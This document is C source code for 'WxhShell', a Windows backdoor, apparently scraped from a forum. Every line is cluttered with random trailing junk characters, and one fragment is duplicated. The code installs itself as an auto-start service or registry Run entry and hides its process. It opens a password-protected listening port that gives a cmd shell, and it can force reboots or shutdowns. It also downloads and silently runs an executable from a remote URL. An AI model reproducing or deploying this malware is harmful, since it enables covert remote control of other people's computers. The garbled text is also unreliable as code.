    if(Boot(SHUTDOWN)) U;f~Q6iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0V6gNEAUg  
    else { 3p`*'j2R  
    closesocket(wsh); 7qj<|US  
    ExitThread(0); 6cH.s+  
    } #AHX{<  
    break; v&6I\1  
    } gz8>uGx&V!  
  // 获取shell QII-9 RxX"  
  case 's': { O2./?Ye  
    CmdShell(wsh); A3D"b9<D  
    closesocket(wsh); A (z lX_  
    ExitThread(0); t@(S=i7}-  
    break; 3>;zk#b2  
  } MQ7d IUs  
  // 退出 bso l>M[<  
  case 'x': { 'Vq_/g!?1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x[l_dmq  
    CloseIt(wsh); .: gZ*ks~  
    break; 6\"g,f  
    } yg34b}m{  
  // 离开 B>sSl1opI  
  case 'q': { 0\XG;KA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T= Q"| S]V  
    closesocket(wsh); w5zr Ek#  
    WSACleanup(); &,E^ y,r  
    exit(1); eT 8(O36%  
    break; &("HH"!  
        } D >ax<t1K  
  } USBU?WDt  
  } t* eZe`|  
2MS-e}mi  
  // 提示信息  <sdC#j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 17IT:T,'  
} S5B12P  
  } e(nT2E  
#+$pE@u7A  
  return; n?uVq6c  
} L[v-5u)  
\/=w \Tj  
// shell模块句柄 /S9s%scAy  
int CmdShell(SOCKET sock) e$!01Y$HI  
{ YI[y/~!  
STARTUPINFO si; S ?v^/F  
ZeroMemory(&si,sizeof(si)); xZ2^lsY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Q<h,P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?+6w8j%\  
PROCESS_INFORMATION ProcessInfo; `Hj{XIOx  
char cmdline[]="cmd"; >IZ|:lsxE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2Lravb3  
  return 0; e'%"G{(D  
} PEA<H0  
^\|Hz\"*  
// 自身启动模式 D9.H<.|36  
int StartFromService(void) -<e8\Z`  
{ TNgf96) y  
typedef struct X{2))t%  
{ r(qAe{  
  DWORD ExitStatus; d3% 1 P)  
  DWORD PebBaseAddress; E1'| ;}/  
  DWORD AffinityMask; m]}%Ag^x  
  DWORD BasePriority; B?o ?LI  
  ULONG UniqueProcessId; ~\4`tc  
  ULONG InheritedFromUniqueProcessId; kC : pal  
}   PROCESS_BASIC_INFORMATION; A\Ax5eeL  
^)-* Ubzz  
PROCNTQSIP NtQueryInformationProcess; s^O>PEX&<I  
E<=h6Ha  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x.gRTR`7(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M? 7CBqZ  
8&d s  
  HANDLE             hProcess; r7dvj#^  
  PROCESS_BASIC_INFORMATION pbi; +[W_J z  
f+A!w8E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sT&O%(  
  if(NULL == hInst ) return 0; UC@ &! kM  
42 6l:>D(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gZ{q85C.>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UD.&p'^ /{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OXT'$]p.*  
PH,MZ"Z%  
  if (!NtQueryInformationProcess) return 0; N%3 G\|~Q  
bBwMx{iNNz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~lg1S  
  if(!hProcess) return 0; <<Zt.!hS  
u+ wKs`   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (WoKrd.!  
z>n<+tso  
  CloseHandle(hProcess); ZAK NyA2  
M{sn{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ojea~Y]Sr  
if(hProcess==NULL) return 0; |[%CFm}+?  
Glz yFj  
HMODULE hMod; MSef2|"P#  
char procName[255]; .Ioj]r  
unsigned long cbNeeded; UXU!sd  
(t^&L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !%v=9muay  
<W$Ig@4[.d  
  CloseHandle(hProcess); %+>t @F,GM  
$x%3^{G  
if(strstr(procName,"services")) return 1; // 以服务启动 j?eWh#[K"  
=aL=SC+  
  return 0; // 注册表启动 g)o?nAr  
} hSBR9g  
:#yjg1aej  
// 主模块 jGp|:!'w  
int StartWxhshell(LPSTR lpCmdLine) F0&BEJBkU  
{ Yh^~4S?  
  SOCKET wsl; IUK !b2!`  
BOOL val=TRUE; dV~yIxD}C*  
  int port=0; T[$! ^WT  
  struct sockaddr_in door; CO+[iJ,4C+  
 P5&mpl1  
  if(wscfg.ws_autoins) Install(); ss8de9T"'  
T(n<@Ac]V  
port=atoi(lpCmdLine); *{/L7])gm  
/Ah|Po  
if(port<=0) port=wscfg.ws_port; ,{KjVv<  
*jAw  
  WSADATA data; vocXk_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {{3n">s}:  
fJjtrvNy)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ow,4'f!d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %cPz>PTW@  
  door.sin_family = AF_INET; !i"Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hqPpRSv'  
  door.sin_port = htons(port); #5Zf6w  
g%Yw Dr=0t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =K#12TRf  
closesocket(wsl); 9)_fH6r  
return 1; =|@%5&.P  
} )2 Omsh  
^5"2s:vP  
  if(listen(wsl,2) == INVALID_SOCKET) { n$z}DE5 #  
closesocket(wsl); C>1fL6ct  
return 1; &n5Lc`  
} {nl]F  
  Wxhshell(wsl); X={n9*Sd8  
  WSACleanup(); c5jd q[0  
d|nJp-%V  
return 0; ?O]iX;2vM  
_t9@ vVQ  
} {95z\UE}  
hH=H/L_Z  
// 以NT服务方式启动 y 093-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) - %ul9}.  
{ 2N,<~L`FX'  
DWORD   status = 0; n'dxa<F2|  
  DWORD   specificError = 0xfffffff; Pk9 4O  
K1vm [Ne  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R0 g-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1|+Z mo"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pf?*bI  
  serviceStatus.dwWin32ExitCode     = 0; ,gvv297  
  serviceStatus.dwServiceSpecificExitCode = 0; C2 ~t  
  serviceStatus.dwCheckPoint       = 0; 6$d3Ap@Gl  
  serviceStatus.dwWaitHint       = 0; ]A;{D~X^w  
("UzMr,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rQW&$M  
  if (hServiceStatusHandle==0) return; 3EM=6\#q  
`ViFY   
status = GetLastError(); 3Pb]Of#  
  if (status!=NO_ERROR) E"EBj7<s  
{ ddf# c,SQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,mu=#}a@}  
    serviceStatus.dwCheckPoint       = 0; xz @/^Cj  
    serviceStatus.dwWaitHint       = 0; ]3+xJz~=  
    serviceStatus.dwWin32ExitCode     = status; j'z}m+_?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5CSihw/5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Qt>yzD3  
    return; Z#n!=k TTm  
  } }~Am{Er <l  
8z?q4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8veYs`  
  serviceStatus.dwCheckPoint       = 0; ?q&*|-%)_d  
  serviceStatus.dwWaitHint       = 0; E7XFt#P.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :d&^//9  
} ,]OL[m  
dy4! >zxF  
// 处理NT服务事件,比如:启动、停止 AWp{n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;NyX9&@  
{ ;au-NY  
switch(fdwControl) $;9zD11  
{ SiD [54OM  
case SERVICE_CONTROL_STOP: R\L0   
  serviceStatus.dwWin32ExitCode = 0; :/Zy=F9:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  X,zqI  
  serviceStatus.dwCheckPoint   = 0; 8x`?Yc  
  serviceStatus.dwWaitHint     = 0; Zcaec#  
  { -SZW[T<N"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zi^T?<t  
  } M_o<6C  
  return; $oefG}h2  
case SERVICE_CONTROL_PAUSE: 9~6FWBt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^Fy{Q*p`(  
  break; Qx9lcO_  
case SERVICE_CONTROL_CONTINUE: a0vg%Z@!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t@a2@dX|  
  break; C?UV3  
case SERVICE_CONTROL_INTERROGATE: ZDmBuf q  
  break; 0;*1g47\  
}; h\ZnUn_J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1:3I G=  
} <f l-P  
DPrFBy  
// 标准应用程序主函数 |<,!K;@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MKad 5gD*<  
{ @"`J~uK  
%;SOe9  
// 获取操作系统版本 G~oGBq6Gz  
OsIsNt=GetOsVer(); MroJ!.9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z|VQp,ra  
"V|1w>s  
  // 从命令行安装 pRt=5WZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); rKlu+/G  
4M)  s  
  // 下载执行文件 9-<EeV_/  
if(wscfg.ws_downexe) { ] ~;x$Z)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `@8QQB  
  WinExec(wscfg.ws_filenam,SW_HIDE); +="?[:  
} Iz'*^{Ssm  
!N6/l5kn  
if(!OsIsNt) { 3SRz14/W_R  
// 如果时win9x,隐藏进程并且设置为注册表启动 _N4G[jQLJ  
HideProc(); ZDVz+L|p  
StartWxhshell(lpCmdLine); GqFDN],Wp  
} ,tdV-9N[O  
else UjNe0jt% s  
  if(StartFromService()) wS Ty2Oyo;  
  // 以服务方式启动 b%w?YR   
  StartServiceCtrlDispatcher(DispatchTable); [B}$U|V0  
else 1^G*)Qn5Df  
  // 普通方式启动 xWY%-CWY.  
  StartWxhshell(lpCmdLine); `"N56  
3JB?G>\!  
return 0; D^(Nijl9U  
} W'Wr8~{h  
5*.JXx E;U  
{q9[0-LyJ  
NaeG2>1  
=========================================== x|#R$^4CY  
JXG%Cx!2}  
\KlOj%s  
S4/CL4=  
y{>d&M|  
5iE-$,7#L  
" &|;XLRHP}  
3h:"-{MW.  
#include <stdio.h> 0dv# [  
#include <string.h> xPFNH`O&  
#include <windows.h> OH2Xxr[bQ  
#include <winsock2.h> 2s(c#$JVS  
#include <winsvc.h> dLV>FpA\  
#include <urlmon.h> y be:u  
V%F^6ds$]0  
#pragma comment (lib, "Ws2_32.lib") 3P{ d~2  
#pragma comment (lib, "urlmon.lib") =!rdn#KH  
\>Y2I 4x<  
#define MAX_USER   100 // 最大客户端连接数 ![=C`O6K  
#define BUF_SOCK   200 // sock buffer sW'SR  
#define KEY_BUFF   255 // 输入 buffer L: hEt  
?:D#\4=US  
#define REBOOT     0   // 重启 ^_6.*Mvx  
#define SHUTDOWN   1   // 关机 sEpY&6*  
Eiqx1ZM  
#define DEF_PORT   5000 // 监听端口 OhC%5=a7  
]L/h,bVI1  
#define REG_LEN     16   // 注册表键长度 "MH_hzbBF  
#define SVC_LEN     80   // NT服务名长度 H Aq  
E$B7E@(U  
// 从dll定义API [ML%u$-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oBfh1/< <a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "bI'XaSv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1SddZ5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MeD}S@H  
?P<8Zw  
// wxhshell配置信息 8UH c,np  
struct WSCFG { QU4/hS;Ux  
  int ws_port;         // 监听端口 cg16|  
  char ws_passstr[REG_LEN]; // 口令  T06BrX  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3q{op9_T7  
  char ws_regname[REG_LEN]; // 注册表键名 F` /mcyf  
  char ws_svcname[REG_LEN]; // 服务名 =og5Mh,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x|>N   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gIGyY7{(s8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~s#vP<QHa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wR)U&da`@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tO0MYEx"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %Vf3r9 z  
-4  ~(*  
}; TvV_Tz4e  
yV;_]_EO  
// default Wxhshell configuration 60 D0z  
struct WSCFG wscfg={DEF_PORT, $ yd "bJK  
    "xuhuanlingzhe", 74Fv9  
    1, Lye^G% {  
    "Wxhshell", JHF <vyt5<  
    "Wxhshell", \UBTNY,  
            "WxhShell Service", uBdS}U  
    "Wrsky Windows CmdShell Service", ]: VR3e"H  
    "Please Input Your Password: ", m Mp(  
  1, A1VbqA  
  "http://www.wrsky.com/wxhshell.exe", l/(|rl#6  
  "Wxhshell.exe" BSe{HmDq  
    }; '@~\(SH  
\Y37wy4  
// 消息定义模块 m tPmVze  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cV=0)'&<`_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; An cka  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %9bf^LyD  
char *msg_ws_ext="\n\rExit."; 6V[ce4a%  
char *msg_ws_end="\n\rQuit."; \^l273  
char *msg_ws_boot="\n\rReboot..."; I_QWdxn  
char *msg_ws_poff="\n\rShutdown..."; T7F)'Mx<  
char *msg_ws_down="\n\rSave to "; ??X3teO{  
<4l;I*:2&  
char *msg_ws_err="\n\rErr!"; [SnnOqWw  
char *msg_ws_ok="\n\rOK!"; wrORyj  
7/$r  
char ExeFile[MAX_PATH]; F 7v 1rf]  
int nUser = 0; oP[R?zN  
HANDLE handles[MAX_USER]; Y~FN` =O  
int OsIsNt; Bo)N<S_=^  
%E1_)^ ^  
SERVICE_STATUS       serviceStatus; \FE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $mH'%YDIl  
E5>y?N  
// 函数声明 ],!7S"{97  
int Install(void); w;e42.\  
int Uninstall(void); 2u B66i  
int DownloadFile(char *sURL, SOCKET wsh); 6[\b]I\Q  
int Boot(int flag); Xs,[Z2_iq  
void HideProc(void); {*#}"/:8K  
int GetOsVer(void); >gj%q$@  
int Wxhshell(SOCKET wsl); AeQIsrAHE  
void TalkWithClient(void *cs); A>0wqT  
int CmdShell(SOCKET sock); $w:7$:k  
int StartFromService(void); @ V_@r@A  
int StartWxhshell(LPSTR lpCmdLine); ;v}f7v '  
G<dWh.|`=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \{g;|Z 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y{Fq'w!ap  
]]R!MnU:$  
// 数据结构和表定义 @<^_ _."  
SERVICE_TABLE_ENTRY DispatchTable[] = qD#E, "%  
{ DK\Ud6w  
{wscfg.ws_svcname, NTServiceMain}, Mk:k0,z  
{NULL, NULL} ^@"H(1Hxu/  
}; MQ~OG9.  
D@-'<0=  
// 自我安装 ,McwPHEMB  
int Install(void) c8R#=^ DD  
{ 0$saDmED  
  char svExeFile[MAX_PATH]; fo$5WTY  
  HKEY key; 58vq5j<V  
  strcpy(svExeFile,ExeFile); 4u!<3-3Zy  
S2^Ckg  
// 如果是win9x系统,修改注册表设为自启动 IY* ~df  
if(!OsIsNt) { 4`KQ@m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }]fJ[KbDp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7W7!X\0Y  
  RegCloseKey(key); gwm}19JC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f:w#r.]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  !623;   
  RegCloseKey(key); hny(:Dj  
  return 0; @i" ^b  
    } *>=|"ff  
  } R)[ l 3  
} yf lt2 R  
else { bwr}Ge  
7Ud  
// 如果是NT以上系统,安装为系统服务 Qz[4M`M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1vy*u  
if (schSCManager!=0) TgDx3U[  
{ /:<.Cn>-  
  SC_HANDLE schService = CreateService h 2Kx  
  ( ~qjnV  
  schSCManager, K6 {0`'x  
  wscfg.ws_svcname, y4^w8'%MC  
  wscfg.ws_svcdisp, \G+uK:PC,  
  SERVICE_ALL_ACCESS, =Wgz\uGJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 31FQ=(K  
  SERVICE_AUTO_START, .q!U@}k.  
  SERVICE_ERROR_NORMAL, AV t(e6H  
  svExeFile, WNE=|z#|  
  NULL, Vk3xWD~  
  NULL, "Z\^dR  
  NULL, `1 tD&te0  
  NULL, RD$"ft]Vc  
  NULL !awsQ!e|  
  ); !yfQ^a_ O  
  if (schService!=0) sF+mfoMtG  
  { >$%rsc}^  
  CloseServiceHandle(schService); Os9;;^k  
  CloseServiceHandle(schSCManager); &*w)/W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7yp}*b{s  
  strcat(svExeFile,wscfg.ws_svcname); e>GX]tK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _&]B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,hggmzA~  
  RegCloseKey(key); N~Kl{" >`  
  return 0; SL j2/B0  
    } 2V-zmyJs5  
  } qh40nqS;9  
  CloseServiceHandle(schSCManager); L_k'r\L  
} =Nc}XFq  
} G#|`Bjv"aP  
3lZ5N@z69  
return 1; 0-N"_1k|?  
} ;:^^Qfp  
1=9M@r~ ^  
// 自我卸载 H*h7Y*([  
int Uninstall(void) +OM9v3qJ  
{ 5LIbHSK  
  HKEY key; _Di";fe?  
O|Z5SSlk  
if(!OsIsNt) { mvCH$}w8&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NrNxI'M G  
  RegDeleteValue(key,wscfg.ws_regname); Z^fkv  
  RegCloseKey(key); (,i&pgVZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N'!:  
  RegDeleteValue(key,wscfg.ws_regname); &idPO{G  
  RegCloseKey(key); j9bn|p$DA  
  return 0; ,rC$~ &  
  } BS6UXAf{|Z  
} IpRdGT02  
} R _c! ,y  
else { NDmTxW#g  
t/3t69\x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YpGG^;M$  
if (schSCManager!=0) SDW_Y^Tb  
{ 3~r>G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {cYS0%Go  
  if (schService!=0) zx(=ArCRr  
  { 9/@7NNKJ  
  if(DeleteService(schService)!=0) { -=+@/@nV  
  CloseServiceHandle(schService); {p70( ]v  
  CloseServiceHandle(schSCManager); G!^}z (Mgi  
  return 0; w7;,+Jq  
  } Q;'{~!=  
  CloseServiceHandle(schService); l1EI4Y9KG  
  } +ROwk  
  CloseServiceHandle(schSCManager); {e1akg.  
} JIA'3"C  
} 2,3pmb  
mfI>1W(  
return 1; LRuB&4r8  
} 5i$iUDuT>(  
&F!Ct(c99  
// 从指定url下载文件 ??7c9l5,  
int DownloadFile(char *sURL, SOCKET wsh) 8vuA`T!~G  
{ ^1b/Y8&8A  
  HRESULT hr; JxV 0y  
char seps[]= "/"; m7F"kD  
char *token; ,f]GOH  
char *file; Y >83G`*}b  
char myURL[MAX_PATH]; I|SQhbi  
char myFILE[MAX_PATH]; lV*dQwa?i  
'H]&$AZ;@  
strcpy(myURL,sURL); #7Pnw.s3zz  
  token=strtok(myURL,seps); q\`0'Z,  
  while(token!=NULL) >7[o=!^:4  
  { Vzs_g]V  
    file=token; Q8~|0X\.g  
  token=strtok(NULL,seps); DC5^k[m  
  } RAh4#8]  
whoQA}X>  
GetCurrentDirectory(MAX_PATH,myFILE); n@`:"j%s_  
strcat(myFILE, "\\"); OX  r%b  
strcat(myFILE, file); *?-,=%,z/  
  send(wsh,myFILE,strlen(myFILE),0);  s_p\ bl.  
send(wsh,"...",3,0); FVgE^_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /3!c ;(  
  if(hr==S_OK) n'42CE  
return 0; 5N_w(B  
else zD9gE  
return 1; 1h[xVvo<L  
SFiK_;  
} kw gsf5[  
0?{Y6:d+  
// 系统电源模块 qSg=[7XOO  
int Boot(int flag) 4dgo*9  
{ EJz?GM  
  HANDLE hToken; T|L_ +(M{  
  TOKEN_PRIVILEGES tkp; 9r efv  
DMcH, _(  
  if(OsIsNt) { k-zkb2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q9^6A90  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JJ+A+sfdk  
    tkp.PrivilegeCount = 1; $ncJc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ptlcG9d-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \D<w:\P  
if(flag==REBOOT) { a  St  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]c=nkS  
  return 0; T[<deQ  
} PE\.JU  
else { ,ezC}V0M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RM(MCle}  
  return 0; \a}_=O  
} q5UD!& W  
  } n$03##pf  
  else { b)e';M  
if(flag==REBOOT) { e0nr dM[i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )^)j=xs  
  return 0; 6 #vc"5@M  
} !go$J]T  
else { + bU*"5"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'WC> _ L  
  return 0; K4[X P]\jr  
} WCpCWtmy  
} L#}HeOEi[  
\@K KX  
return 1; XP |qY1  
} H/I1n\  
@|i f^  
// win9x进程隐藏模块 0YApaL+jt  
void HideProc(void) z5k9|.hgw  
{ Ol@ssm  
t V:oBT*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $}TK ,/W  
  if ( hKernel != NULL ) it\U+xu  
  { ydx-` yg#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O7x'q<PFU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {=q$k=ib  
    FreeLibrary(hKernel); i"HENJyCb  
  } 0)^$9 Z  
G8Qo]E9-/  
return; !i dQ-&  
} (3[Lz+W.u  
Z{".(?+}1  
// 获取操作系统版本 XoZw8cY  
int GetOsVer(void) uh8+Y%V p  
{ |vI1C5e  
  OSVERSIONINFO winfo; l[cBDNlrC;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KBO{ g:"  
  GetVersionEx(&winfo); =ll{M{0Q]!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yE6EoC^  
  return 1; AvxP0@.`  
  else :-.K.Ch|:  
  return 0; +kXj+2  
} CL%+`c0  
EK JPeeRY  
// 客户端句柄模块 DJu&l  
int Wxhshell(SOCKET wsl) OSDx  
{ >,#7 3u#  
  SOCKET wsh; ,];4+&|8kW  
  struct sockaddr_in client; F-g7*  
  DWORD myID; -2`D(xC  
'(4#He?Gd  
  while(nUser<MAX_USER) D{J+}*y  
{ v)VhR2d3  
  int nSize=sizeof(client); </%n:<z4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mH/$_x)o  
  if(wsh==INVALID_SOCKET) return 1; `~.0PnHf  
UyWKE<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aV6l"A]  
if(handles[nUser]==0) M10u?  
  closesocket(wsh); 0nDlqy6b1b  
else JOA_2qa>\  
  nUser++; Bp.z6x4  
  } QSNLo_z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YdT-E  
I {o\d'/  
  return 0; NyTGvBf  
} x|6# /m  
MUs~ZF  
// 关闭 socket jcuC2t  
void CloseIt(SOCKET wsh) ~:|qdv%\  
{ u>cU*E4/  
closesocket(wsh); ^9ZW }AAO  
nUser--; 3o>.Z;  
ExitThread(0); |iJ+e -_R  
} !8#!P  
5ZPe=SQ{  
// 客户端请求句柄 ;44?`[oP  
void TalkWithClient(void *cs) ,Z"l3~0\  
{ 7LB#\2  
eL7rX"!  
  SOCKET wsh=(SOCKET)cs; sHr!GF  
  char pwd[SVC_LEN]; * YhX6J1  
  char cmd[KEY_BUFF]; 8r 4 L4  
char chr[1]; +EnJyli  
int i,j; ,XZ[L? >  
BUozpqN}  
  while (nUser < MAX_USER) { YnCWmlC  
DW,fh8w  
if(wscfg.ws_passstr) { z3lMD'uU3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .-0;:>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wU|Y`wJmF  
  //ZeroMemory(pwd,KEY_BUFF); " * Qwaq_  
      i=0; v8< MAq  
  while(i<SVC_LEN) { ZV=)`E`I|  
QCI-YJ&o  
  // 设置超时 qZ:--,9+  
  fd_set FdRead; p(5'|eqBV  
  struct timeval TimeOut; Hsoe?kUHF  
  FD_ZERO(&FdRead); o#IQz_  
  FD_SET(wsh,&FdRead); E7*z.3  
  TimeOut.tv_sec=8; 0k];%HV|  
  TimeOut.tv_usec=0; #&hu-gMV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;zbF~5e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9bDxml1  
'yWv @)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q>FuNdUk  
  pwd=chr[0]; +QqEUf<U*,  
  if(chr[0]==0xd || chr[0]==0xa) { ]('isq,P  
  pwd=0; |c]Y1WwDx  
  break; /y \KLa  
  } Ff\U]g  
  i++; !u} }V  
    } h.\9a3B:r  
CpAdE m{  
  // 如果是非法用户,关闭 socket qX(sx2TK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0CYm%p8!  
} Tk'YpL#U  
"ct_EPr`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?\7 " A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NINaOs  
Cu%|}xq  
while(1) { [y>;  
tcg sXB/t  
  ZeroMemory(cmd,KEY_BUFF); 0 w"&9+kV  
4YVxRZ1[3  
      // 自动支持客户端 telnet标准   XG5mfKMt+  
  j=0; |!\(eLR9>  
  while(j<KEY_BUFF) { <*Kj7o{Qn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xl(];&A3  
  cmd[j]=chr[0]; vM}oxhQ$n  
  if(chr[0]==0xa || chr[0]==0xd) { C#5z!z/:%  
  cmd[j]=0; C?Sy90f  
  break; ]< 0|"NL  
  } t._W643~  
  j++; 07T"alXf:A  
    } N[~"X**x  
D/CSR=b  
  // 下载文件 )ow|n^D($M  
  if(strstr(cmd,"http://")) { T/%s7!E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \h%/Cp+p  
  if(DownloadFile(cmd,wsh)) x)h p3&L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x. 7Ln9  
  else Y%UfwbX!g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _fH.#C  
  } 0ih=<@1K  
  else { Ksq{=q-T  
dpO ZqhRs.  
